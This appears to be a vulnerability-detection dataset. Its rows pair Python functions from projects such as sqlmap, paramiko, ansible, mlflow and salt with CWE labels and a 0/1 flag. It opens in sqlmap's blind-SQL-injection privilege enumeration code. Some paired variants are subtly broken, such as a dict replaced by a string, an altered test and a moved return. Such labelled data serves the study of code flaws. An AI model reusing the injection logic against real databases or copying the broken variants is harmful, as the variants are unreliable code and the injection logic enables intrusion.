                    if not isNumPosStrValue(count):
                        if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
                            infoMsg = ""trying with table USER_SYS_PRIVS""
                            logger.info(infoMsg)

                            return self.getPrivileges(query2=True)

                        warnMsg = ""unable to retrieve the number of ""
                        warnMsg += ""privileges for user '%s'"" % outuser
                        logger.warn(warnMsg)
                        continue

                infoMsg = ""fetching privileges for user '%s'"" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (user,)
                    else:
                        query = rootQuery.blind.query % (user, index)

                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if privilege is None:
                        continue

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and "", "" in privilege:
                        privilege = privilege.replace("", "", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace("", "", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.upper() == 'Y':
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In Informix we get one letter for the highest privilege
                    elif Backend.isDbms(DBMS.INFORMIX):
                        privileges.add(INFORMIX_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(',')
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ('Y', 'G'):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += "", "" + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = ""unable to retrieve the privileges ""
                    warnMsg += ""for user '%s'"" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = ""unable to retrieve the privileges ""
            errMsg += ""for the database users""
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/auth_handler.py,0,"def _parse_service_accept(self, m):
        service = m.get_text()
        if service == ""ssh-userauth"":
            self.transport._log(DEBUG, ""userauth is OK"")
            m = Message()
            m.add_byte(cMSG_USERAUTH_REQUEST)
            m.add_string(self.username)
            m.add_string(""ssh-connection"")
            m.add_string(self.auth_method)
            if self.auth_method == ""password"":
                m.add_boolean(False)
                password = bytestring(self.password)
                m.add_string(password)
            elif self.auth_method == ""publickey"":
                m.add_boolean(True)
                m.add_string(self.private_key.get_name())
                m.add_string(self.private_key)
                blob = self._get_session_blob(
                    self.private_key, ""ssh-connection"", self.username
                )
                sig = self.private_key.sign_ssh_data(blob)
                m.add_string(sig)
            elif self.auth_method == ""keyboard-interactive"":
                m.add_string("""")
                m.add_string(self.submethods)
            elif self.auth_method == ""gssapi-with-mic"":
                sshgss = GSSAuth(self.auth_method, self.gss_deleg_creds)
                m.add_bytes(sshgss.ssh_gss_oids())
                # send the supported GSSAPI OIDs to the server
                self.transport._send_message(m)
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_BANNER:
                    self._parse_userauth_banner(m)
                    ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_RESPONSE:
                    # Read the mechanism selected by the server. We send just
                    # the Kerberos V5 OID, so the server can only respond with
                    # this OID.
                    mech = m.get_string()
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                    try:
                        m.add_string(
                            sshgss.ssh_init_sec_context(
                                self.gss_host, mech, self.username
                            )
                        )
                    except GSS_EXCEPTIONS as e:
                        return self._handle_local_gss_failure(e)
                    self.transport._send_message(m)
                    while True:
                        ptype, m = self.transport.packetizer.read_message()
                        if ptype == MSG_USERAUTH_GSSAPI_TOKEN:
                            srv_token = m.get_string()
                            try:
                                next_token = sshgss.ssh_init_sec_context(
                                    self.gss_host,
                                    mech,
                                    self.username,
                                    srv_token,
                                )
                            except GSS_EXCEPTIONS as e:
                                return self._handle_local_gss_failure(e)
                            # After this step the GSSAPI should not return any
                            # token. If it does, we keep sending the token to
                            # the server until no more token is returned.
                            if next_token is None:
                                break
                            else:
                                m = Message()
                                m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                                m.add_string(next_token)
                                self.transport.send_message(m)
                    else:
                        raise SSHException(
                            ""Received Package: %s"" % MSG_NAMES[ptype]
                        )
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_GSSAPI_MIC)
                    # send the MIC to the server
                    m.add_string(sshgss.ssh_get_mic(self.transport.session_id))
                elif ptype == MSG_USERAUTH_GSSAPI_ERRTOK:
                    # RFC 4462 says we are not required to implement GSS-API
                    # error messages.
                    # See RFC 4462 Section 3.8 in
                    # http://www.ietf.org/rfc/rfc4462.txt
                    raise SSHException(""Server returned an error token"")
                elif ptype == MSG_USERAUTH_GSSAPI_ERROR:
                    maj_status = m.get_int()
                    min_status = m.get_int()
                    err_msg = m.get_string()
                    m.get_string()  # Lang tag - discarded
                    raise SSHException(
                        ""GSS-API Error:\nMajor Status: %s\n\
                                        Minor Status: %s\nError Message:\
                                         %s\n""
                    ) % (str(maj_status), str(min_status), err_msg)
                elif ptype == MSG_USERAUTH_FAILURE:
                    self._parse_userauth_failure(m)
                    return
                else:
                    raise SSHException(
                        ""Received Package: %s"" % MSG_NAMES[ptype]
                    )
            elif (
                self.auth_method == ""gssapi-keyex""
                and self.transport.gss_kex_used
            ):
                kexgss = self.transport.kexgss_ctxt
                kexgss.set_username(self.username)
                mic_token = kexgss.ssh_get_mic(self.transport.session_id)
                m.add_string(mic_token)
            elif self.auth_method == ""none"":
                pass
            else:
                raise SSHException(
                    'Unknown auth method ""%s""' % self.auth_method
                )
            self.transport._send_message(m)
        else:
            self.transport._log(
                DEBUG, 'Service request ""%s"" accepted (?)' % service
            )",,paramiko/paramiko,c95635e5e901d87a11d9fe8b5d7b689f35abf559,"def _parse_service_accept(self, m):
        service = m.get_text()
        if service == ""ssh-userauth"":
            self.transport._log(DEBUG, ""userauth is OK"")
            m = Message()
            m.add_byte(cMSG_USERAUTH_REQUEST)
            m.add_string(self.username)
            m.add_string(""ssh-connection"")
            m.add_string(self.auth_method)
            if self.auth_method == ""password"":
                m.add_boolean(False)
                password = bytestring(self.password)
                m.add_string(password)
            elif self.auth_method == ""publickey"":
                m.add_boolean(True)
                m.add_string(self.private_key.get_name())
                m.add_string(self.private_key)
                blob = self._get_session_blob(
                    self.private_key, ""ssh-connection"", self.username
                )
                sig = self.private_key.sign_ssh_data(blob)
                m.add_string(sig)
            elif self.auth_method == ""keyboard-interactive"":
                m.add_string("""")
                m.add_string(self.submethods)
            elif self.auth_method == ""gssapi-with-mic"":
                sshgss = GSSAuth(self.auth_method, self.gss_deleg_creds)
                m.add_bytes(sshgss.ssh_gss_oids())
                # send the supported GSSAPI OIDs to the server
                self.transport._send_message(m)
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_BANNER:
                    self._parse_userauth_banner(m)
                    ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_RESPONSE:
                    # Read the mechanism selected by the server. We send just
                    # the Kerberos V5 OID, so the server can only respond with
                    # this OID.
                    mech = m.get_string()
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                    try:
                        m.add_string(
                            sshgss.ssh_init_sec_context(
                                self.gss_host, mech, self.username
                            )
                        )
                    except GSS_EXCEPTIONS as e:
                        return self._handle_local_gss_failure(e)
                    self.transport._send_message(m)
                    while True:
                        ptype, m = self.transport.packetizer.read_message()
                        if ptype == MSG_USERAUTH_GSSAPI_TOKEN:
                            srv_token = m.get_string()
                            try:
                                next_token = sshgss.ssh_init_sec_context(
                                    self.gss_host,
                                    mech,
                                    self.username,
                                    srv_token,
                                )
                            except GSS_EXCEPTIONS as e:
                                return self._handle_local_gss_failure(e)
                            # After this step the GSSAPI should not return any
                            # token. If it does, we keep sending the token to
                            # the server until no more token is returned.
                            if next_token is None:
                                break
                            else:
                                m = Message()
                                m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                                m.add_string(next_token)
                                self.transport.send_message(m)
                    else:
                        raise SSHException(
                            ""Received Package: %s"" % MSG_NAMES[ptype]
                        )
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_GSSAPI_MIC)
                    # send the MIC to the server
                    m.add_string(sshgss.ssh_get_mic(self.transport.session_id))
                elif ptype == MSG_USERAUTH_GSSAPI_ERRTOK:
                    # RFC 4462 says we are not required to implement GSS-API
                    # error messages.
                    # See RFC 4462 Section 3.8 in
                    # http://www.ietf.org/rfc/rfc4462.txt
                    raise SSHException(""Server returned an error token"")
                elif ptype == MSG_USERAUTH_GSSAPI_ERROR:
                    maj_status = m.get_int()
                    min_status = m.get_int()
                    err_msg = m.get_string()
                    m.get_string()  # Lang tag - discarded
                    raise SSHException(
                        ""GSS-API Error:\nMajor Status: %s\n\
                                        Minor Status: %s\ \nError Message:\
                                         %s\n""
                    ) % (str(maj_status), str(min_status), err_msg)
                elif ptype == MSG_USERAUTH_FAILURE:
                    self._parse_userauth_failure(m)
                    return
                else:
                    raise SSHException(
                        ""Received Package: %s"" % MSG_NAMES[ptype]
                    )
            elif (
                self.auth_method == ""gssapi-keyex""
                and self.transport.gss_kex_used
            ):
                kexgss = self.transport.kexgss_ctxt
                kexgss.set_username(self.username)
                mic_token = kexgss.ssh_get_mic(self.transport.session_id)
                m.add_string(mic_token)
            elif self.auth_method == ""none"":
                pass
            else:
                raise SSHException(
                    'Unknown auth method ""%s""' % self.auth_method
                )
            self.transport._send_message(m)
        else:
            self.transport._log(
                DEBUG, 'Service request ""%s"" accepted (?)' % service
            )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/middleware/test_security.py,0,"def test_sts_include_subdomains(self):
        """"""
        With HSTS_SECONDS non-zero and HSTS_INCLUDE_SUBDOMAINS
        True, the middleware adds a ""strict-transport-security"" header with the
        ""includeSubDomains"" directive to the response.
        """"""
        response = self.process_response(secure=True)
        self.assertEqual(response[""strict-transport-security""], ""max-age=600; includeSubDomains"")",CWE-Unknown,django/django,233ec837f611fb8da56b8e67f9a95854470c0df8,"def test_sts_include_subdomains(self):
        """"""
        With HSTS_SECONDS non-zero and HSTS_INCLUDE_SUBDOMAINS
        True, the middleware adds a ""strict-transport-security"" header with the
        ""includeSubDomains"" tag to the response.
        """"""
        response = self.process_response(secure=True)
        self.assertEqual(response[""strict-transport-security""], ""max-age=600; includeSubDomains"")"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/facts/network/iscsi.py,1,"def collect(self, module=None, collected_facts=None):
        """"""
        Example of contents of /etc/iscsi/initiatorname.iscsi:

        ## DO NOT EDIT OR REMOVE THIS FILE!
        ## If you remove this file, the iSCSI daemon will not start.
        ## If you change the InitiatorName, existing access control lists
        ## may reject this initiator.  The InitiatorName must be unique
        ## for each iSCSI initiator.  Do NOT duplicate iSCSI InitiatorNames.
        InitiatorName=iqn.1993-08.org.debian:01:44a42c8ddb8b

        Example of output from the AIX lsattr command:

        # lsattr -E -l iscsi0
        disc_filename  /etc/iscsi/targets            Configuration file                            False
        disc_policy    file                          Discovery Policy                              True
        initiator_name iqn.localhost.hostid.7f000001 iSCSI Initiator Name                          True
        isns_srvnames  auto                          iSNS Servers IP Addresses                     True
        isns_srvports                                iSNS Servers Port Numbers                     True
        max_targets    16                            Maximum Targets Allowed                       True
        num_cmd_elems  200                           Maximum number of commands to queue to driver True
        """"""

        iscsi_facts = {}
        iscsi_facts['iscsi_iqn'] = """"
        if sys.platform.startswith('linux') or sys.platform.startswith('sunos'):
            for line in get_file_content('/etc/iscsi/initiatorname.iscsi', '').splitlines():
                if line.startswith('#') or line.startswith(';') or line.strip() == '':
                    continue
                if line.startswith('InitiatorName='):
                    iscsi_facts['iscsi_iqn'] = line.split('=', 1)[1]
                    break
        elif sys.platform.startswith('aix'):
            aixcmd = '/usr/sbin/lsattr -E -l iscsi0 | grep initiator_name'
            aixret = subprocess.check_output(aixcmd, shell=True)
            if aixret[0].isalpha():
                iscsi_facts['iscsi_iqn'] = aixret.split()[1].rstrip()
        return iscsi_facts",CWE-78,ansible/ansible,e356e13d66ca5ecdffc8d77ae0e974770a5e8232,"def collect(self, module=None, collected_facts=None):
        """"""
        Example of contents of /etc/iscsi/initiatorname.iscsi:

        ## DO NOT EDIT OR REMOVE THIS FILE!
        ## If you remove this file, the iSCSI daemon will not start.
        ## If you change the InitiatorName, existing access control lists
        ## may reject this initiator.  The InitiatorName must be unique
        ## for each iSCSI initiator.  Do NOT duplicate iSCSI InitiatorNames.
        InitiatorName=iqn.1993-08.org.debian:01:44a42c8ddb8b

        Example of output from the AIX lsattr command:

        # lsattr -E -l iscsi0
        disc_filename  /etc/iscsi/targets            Configuration file                            False
        disc_policy    file                          Discovery Policy                              True
        initiator_name iqn.localhost.hostid.7f000001 iSCSI Initiator Name                          True
        isns_srvnames  auto                          iSNS Servers IP Addresses                     True
        isns_srvports                                iSNS Servers Port Numbers                     True
        max_targets    16                            Maximum Targets Allowed                       True
        num_cmd_elems  200                           Maximum number of commands to queue to driver True
        """"""

        iscsi_facts = """"
        iscsi_facts['iscsi_iqn'] = """"
        if sys.platform.startswith('linux') or sys.platform.startswith('sunos'):
            for line in get_file_content('/etc/iscsi/initiatorname.iscsi', '').splitlines():
                if line.startswith('#') or line.startswith(';') or line.strip() == '':
                    continue
                if line.startswith('InitiatorName='):
                    iscsi_facts['iscsi_iqn'] = line.split('=', 1)[1]
                    break
        elif sys.platform.startswith('aix'):
            aixcmd = '/usr/sbin/lsattr -E -l iscsi0 | grep initiator_name'
            aixret = subprocess.check_output(aixcmd, shell=True)
            if aixret[0].isalpha():
                iscsi_facts['iscsi_iqn'] = aixret.split()[1].rstrip()
        return iscsi_facts"
,UNKNOWN,UNKNOWN,helm_tests/airflow_core/test_scheduler.py,1,"def test_scheduler_template_storage_class_name(self):
        docs = render_chart(
            values={
                ""workers"": {
                    ""persistence"": {
                        ""storageClassName"": ""{{ .Release.Name }}-storage-class"",
                        ""enabled"": True,
                    }
                },
                ""logs"": {""persistence"": {""enabled"": False}},
                ""executor"": ""LocalExecutor"",
            },
            show_only=[""templates/scheduler/scheduler-deployment.yaml""],
        )
        assert ""release-name-storage-class"" == jmespath.search(
            ""spec.volumeClaimTemplates[0].spec.storageClassName"", docs[0]
        )",CWE-703,apache/airflow,ec09600d188a09fb7a90578781135fd670b075d8,"def test_scheduler_template_storage_class_name(self):
        docs = render_chart(
            values={
                ""workers"": {
                    ""persistence"": {
                        ""storageClassName"": ""{{ .Release.Name }}-storage-class"",
                        ""enabled"": True,
                    }
                },
                ""logs"": {""persistence"": {""enabled"": False}},
                ""executor"": ""LocalExecutor"",
            },
            show_only=[""templates/scheduler/scheduler-deployment.yaml""],
        )
        assert ""release-name-storage-class"" == jmespath.search(
            ""spec.volumeClaimTemplates[0].spec.storageClassName"", docs[0]
        )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ecdsakey.py,0,"def __init__(self, msg=None, data=None, filename=None, password=None,
                 vals=None, file_obj=None, validate_point=True):
        self.verifying_key = None
        self.signing_key = None
        self.public_blob = None
        if file_obj is not None:
            self._from_private_key(file_obj, password)
            return
        if filename is not None:
            self._from_private_key_file(filename, password)
            return
        if (msg is None) and (data is not None):
            msg = Message(data)
        if vals is not None:
            self.signing_key, self.verifying_key = vals
            c_class = self.signing_key.curve.__class__
            self.ecdsa_curve = self._ECDSA_CURVES.get_by_curve_class(c_class)
        else:
            # Must set ecdsa_curve first; subroutines called herein may need to
            # spit out our get_name(), which relies on this.
            key_type = msg.get_text()
            # But this also means we need to hand it a real key/curve
            # identifier, so strip out any cert business. (NOTE: could push
            # that into _ECDSACurveSet.get_by_key_format_identifier(), but it
            # feels more correct to do it here?)
            suffix = '-cert-v01@openssh.com'
            if key_type.endswith(suffix):
                key_type = key_type[:-len(suffix)]
            self.ecdsa_curve = self._ECDSA_CURVES.get_by_key_format_identifier(
                key_type
            )
            key_types = self._ECDSA_CURVES.get_key_format_identifier_list()
            cert_types = [
                '{0}-cert-v01@openssh.com'.format(x)
                for x in key_types
            ]
            self._check_type_and_load_cert(
                msg=msg,
                key_type=key_types,
                cert_type=cert_types,
            )
            curvename = msg.get_text()
            if curvename != self.ecdsa_curve.nist_name:
                raise SSHException(""Can't handle curve of type %s"" % curvename)

            pointinfo = msg.get_binary()
            try:
                numbers = ec.EllipticCurvePublicNumbers.from_encoded_point(
                    self.ecdsa_curve.curve_class(), pointinfo
                )
            except ValueError:
                raise SSHException(""Invalid public key"")
            self.verifying_key = numbers.public_key(backend=default_backend())",,paramiko/paramiko,5fb4bb2cfc415b287f629a398de5447da18a3fb2,"def __init__(self, msg=None, data=None, filename=None, password=None,
                 vals=None, file_obj=None, validate_point=True):
        self.verifying_key = None
        self.signing_key = None
        self.public_blob = None
        if file_obj is not None:
            self._from_private_key(file_obj, password)
            return
        if filename is not None:
            self._from_private_key_file(filename, password)
            return
        if (msg is None) and (data is not None):
            msg = Message(data)
        if vals is not None:
            self.signing_key, self.verifying_key = vals
            c_class = self.signing_key.curve.__class__
            self.ecdsa_curve = self._ECDSA_CURVES.get_by_curve_class(c_class)
        else:
            # Must set ecdsa_curve first; subroutines called herein may need to
            # spit out our get_name(), which relies on this.
            key_type = msg.get_text()
            # But this also means we need to hand it a real key/curve
            # identifier, so strip out any cert business. (NOTE: could push
            # that into _ECDSACurveSet.get_by_key_format_identifier(), but it
            # feels more correct to do it here?)
            suffix = '-cert-v01@openssh.com'
            if key_type.endswith(suffix):
                key_type = key_type[:-len(suffix)]
            self.ecdsa_curve = self._ECDSA_CURVES.get_by_key_format_identifier(
                key_type
            )
            key_types = self._ECDSA_CURVES.get_key_format_identifier_list()
            cert_types = [
                '{}-cert-v01@openssh.com'.format(x)
                for x in key_types
            ]
            self._check_type_and_load_cert(
                msg=msg,
                key_type=key_types,
                cert_type=cert_types,
            )
            curvename = msg.get_text()
            if curvename != self.ecdsa_curve.nist_name:
                raise SSHException(""Can't handle curve of type %s"" % curvename)

            pointinfo = msg.get_binary()
            try:
                numbers = ec.EllipticCurvePublicNumbers.from_encoded_point(
                    self.ecdsa_curve.curve_class(), pointinfo
                )
            except ValueError:
                raise SSHException(""Invalid public key"")
            self.verifying_key = numbers.public_key(backend=default_backend())"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_spark.py,1,"def test_spark_udf_autofills_no_arguments(spark):
    class TestModel(PythonModel):
        def predict(self, context, model_input):
            return [model_input.columns] * len(model_input)

    signature = ModelSignature(
        inputs=Schema([ColSpec(""long"", ""a""), ColSpec(""long"", ""b""), ColSpec(""long"", ""c"")]),
        outputs=Schema([ColSpec(""integer"")]),
    )

    good_data = spark.createDataFrame(
        pd.DataFrame(columns=[""a"", ""b"", ""c"", ""d""], data={""a"": [1], ""b"": [2], ""c"": [3], ""d"": [4]})
    )
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(""model"", python_model=TestModel(), signature=signature)
        udf = mlflow.pyfunc.spark_udf(
            spark,
            ""runs:/{}/model"".format(run.info.run_id),
            result_type=ArrayType(StringType()),
            env_manager=""local"",
        )
        res = good_data.withColumn(""res"", udf()).select(""res"").toPandas()
        assert res[""res""][0] == [""a"", ""b"", ""c""]

        with pytest.raises(
            pyspark.sql.utils.PythonException,
            match=r""Model input is missing required columns. Expected 3 required input columns"",
        ):
            res = good_data.withColumn(""res"", udf(""b"", ""c"")).select(""res"").toPandas()

        # this dataframe won't work because it's missing column a
        bad_data = spark.createDataFrame(
            pd.DataFrame(
                columns=[""x"", ""b"", ""c"", ""d""], data={""x"": [1], ""b"": [2], ""c"": [3], ""d"": [4]}
            )
        )
        with pytest.raises(
            AnalysisException,
            match=(
                # PySpark < 3.3
                r""cannot resolve 'a' given input columns|""
                # PySpark 3.3
                r""Column 'a' does not exist|""
                # PySpark 3.4
                r""A column or function parameter with name `a` cannot be resolved""
            ),
        ):
            bad_data.withColumn(""res"", udf())

    nameless_signature = ModelSignature(
        inputs=Schema([ColSpec(""long""), ColSpec(""long""), ColSpec(""long"")]),
        outputs=Schema([ColSpec(""integer"")]),
    )
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(""model"", python_model=TestModel(), signature=nameless_signature)
        udf = mlflow.pyfunc.spark_udf(
            spark, ""runs:/{}/model"".format(run.info.run_id), result_type=ArrayType(StringType())
        )
        with pytest.raises(
            MlflowException,
            match=r""Cannot apply udf because no column names specified"",
        ):
            good_data.withColumn(""res"", udf())

    with mlflow.start_run() as run:
        # model without signature
        mlflow.pyfunc.log_model(""model"", python_model=TestModel())
        udf = mlflow.pyfunc.spark_udf(
            spark, ""runs:/{}/model"".format(run.info.run_id), result_type=ArrayType(StringType())
        )
        with pytest.raises(MlflowException, match=""Attempting to apply udf on zero columns""):
            res = good_data.withColumn(""res"", udf()).select(""res"").toPandas()

    named_signature_with_optional_input = ModelSignature(
        inputs=Schema(
            [
                ColSpec(""long"", ""a""),
                ColSpec(""long"", ""b""),
                ColSpec(""long"", ""c""),
                ColSpec(""long"", ""d"", optional=True),
            ]
        ),
        outputs=Schema([ColSpec(""integer"")]),
    )
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            ""model"", python_model=TestModel(), signature=named_signature_with_optional_input
        )
        udf = mlflow.pyfunc.spark_udf(
            spark, ""runs:/{}/model"".format(run.info.run_id), result_type=ArrayType(StringType())
        )
        with pytest.raises(
            MlflowException,
            match=r""Cannot apply UDF without column names specified when model ""
            r""signature contains optional columns"",
        ):
            good_data.withColumn(""res"", udf())

        # Ensure optional inputs are not truncated
        res = good_data.withColumn(""res"", udf(*good_data.columns)).select(""res"").toPandas()
        assert res[""res""][0] == [""a"", ""b"", ""c"", ""d""]",CWE-703,mlflow/mlflow,61decf49d13d0d003ec4d79f823dcf31ca1a852a,"def test_spark_udf_autofills_no_arguments(spark):
    class TestModel(PythonModel):
        def predict(self, context, model_input):
            return [model_input.columns] * len(model_input)

    signature = ModelSignature(
        inputs=Schema([ColSpec(""long"", ""a""), ColSpec(""long"", ""b""), ColSpec(""long"", ""c"")]),
        outputs=Schema([ColSpec(""integer"")]),
    )

    good_data = spark.createDataFrame(
        pd.DataFrame(columns=[""a"", ""b"", ""c"", ""d""], data={""a"": [1], ""b"": [2], ""c"": [3], ""d"": [4]})
    )
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(""model"", python_model=TestModel(), signature=signature)
        udf = mlflow.pyfunc.spark_udf(
            spark,
            ""runs:/{}/model"".format(run.info.run_id),
            result_type=ArrayType(StringType()),
            env_manager=""local"",
        )
        res = good_data.withColumn(""res"", udf()).select(""res"").toPandas()
        assert res[""res""][0] == [""a"", ""b"", ""c""]

        with pytest.raises(
            pyspark.sql.utils.PythonException,
            match=r""Model input is missing columns. Expected 3 input columns"",
        ):
            res = good_data.withColumn(""res"", udf(""b"", ""c"")).select(""res"").toPandas()

        # this dataframe won't work because it's missing column a
        bad_data = spark.createDataFrame(
            pd.DataFrame(
                columns=[""x"", ""b"", ""c"", ""d""], data={""x"": [1], ""b"": [2], ""c"": [3], ""d"": [4]}
            )
        )
        with pytest.raises(
            AnalysisException,
            match=(
                # PySpark < 3.3
                r""cannot resolve 'a' given input columns|""
                # PySpark 3.3
                r""Column 'a' does not exist|""
                # PySpark 3.4
                r""A column or function parameter with name `a` cannot be resolved""
            ),
        ):
            bad_data.withColumn(""res"", udf())

    nameless_signature = ModelSignature(
        inputs=Schema([ColSpec(""long""), ColSpec(""long""), ColSpec(""long"")]),
        outputs=Schema([ColSpec(""integer"")]),
    )
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(""model"", python_model=TestModel(), signature=nameless_signature)
        udf = mlflow.pyfunc.spark_udf(
            spark, ""runs:/{}/model"".format(run.info.run_id), result_type=ArrayType(StringType())
        )
        with pytest.raises(
            MlflowException,
            match=r""Cannot apply udf because no column names specified"",
        ):
            good_data.withColumn(""res"", udf())

    with mlflow.start_run() as run:
        # model without signature
        mlflow.pyfunc.log_model(""model"", python_model=TestModel())
        udf = mlflow.pyfunc.spark_udf(
            spark, ""runs:/{}/model"".format(run.info.run_id), result_type=ArrayType(StringType())
        )
        with pytest.raises(MlflowException, match=""Attempting to apply udf on zero columns""):
            res = good_data.withColumn(""res"", udf()).select(""res"").toPandas()"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def present(name, cidr_block, instance_tenancy=None, dns_support=None,
            dns_hostnames=None, tags=None, region=None, key=None, keyid=None,
            profile=None):
    '''
    Ensure VPC exists.

    name
        Name of the VPC.

    cidr_block
        The range of IPs in CIDR format, for example: 10.0.0.0/24. Block
        size must be between /16 and /28 netmask.

    instance_tenancy
        Instances launched in this VPC will be ingle-tenant or dedicated
        hardware.

    dns_support
        Indicates whether the DNS resolution is supported for the VPC.

    dns_hostnames
        Indicates whether the instances launched in the VPC get DNS hostnames.

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    _id = {'salt_id': name}
    if tags:
        _tags = tags.update(_id)
    else:
        _tags = _id
    exists = __salt__['boto_vpc.exists'](tags=_id, region=region, key=key,
                                         keyid=keyid, profile=profile)
    if not exists:
        if __opts__['test']:
            ret['comment'] = 'VPC {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        created = __salt__['boto_vpc.create'](cidr_block, instance_tenancy,
                                              name, dns_support, dns_hostnames,
                                              _tags, region, key, keyid,
                                              profile)
        if not created:
            ret['result'] = False
            ret['comment'] = 'Failed to create {0} VPC.'.format(name)
            return ret
        _describe = __salt__['boto_vpc.describe'](created, region, key,
                                                  keyid, profile)
        ret['changes']['old'] = {'vpc': None}
        ret['changes']['new'] = {'vpc': _describe}
        ret['comment'] = 'VPC {0} created.'.format(name)
        return ret
    ret['comment'] = 'VPC present.'
    return ret",CWE-605,saltstack/salt,11412f788a5c7274c024c94a04b6054cb8ea97f5,"def present(name, cidr_block, instance_tenancy=None, dns_support=None,
            dns_hostnames=None, tags=None, region=None, key=None, keyid=None,
            profile=None):
    '''
    Ensure VPC exists.

    name
        Name of the VPC.

    cidr_block
        The range of IPs in CIDR format, for example: 10.0.0.0/24. Block
        size must be between /16 and /28 netmask.

    instance_tenancy
        Instances launched in this VPC will be ingle-tenant or dedicated
        hardware.

    dns_support
        Indicates whether the DNS resolution is supported for the VPC.

    dns_hostnames
        Indicates whether the instances launched in the VPC get DNS hostnames.

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    _id = {'salt_id': name}
    if tags:
        _tags = tags.update(_id)
    else:
        _tags = _id
    exists = __salt__['boto_vpc.exists'](tags=_id, region=region, key=key,
                                         keyid=keyid, profile=profile)
    if not exists:
        if __opts__['test']:
            ret['comment'] = 'VPC {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        created = __salt__['boto_vpc.create'](cidr_block, instance_tenancy,
                                              name, dns_support, dns_hostnames,
                                              _tags, region, key, keyid,
                                              profile)
        if not created:
            ret['result'] = False
            ret['comment'] = 'Failed to create {0} VPC.'.format(name)
            return ret
        _describe = __salt__['boto_vpc.describe'](created, region, key,
                                                  keyid, profile)
        ret['changes']['old'] = {'vpc': None}
        ret['changes']['new'] = {'vpc': _describe}
        ret['comment'] = 'VPC {0} created.'.format(name)
    return ret"
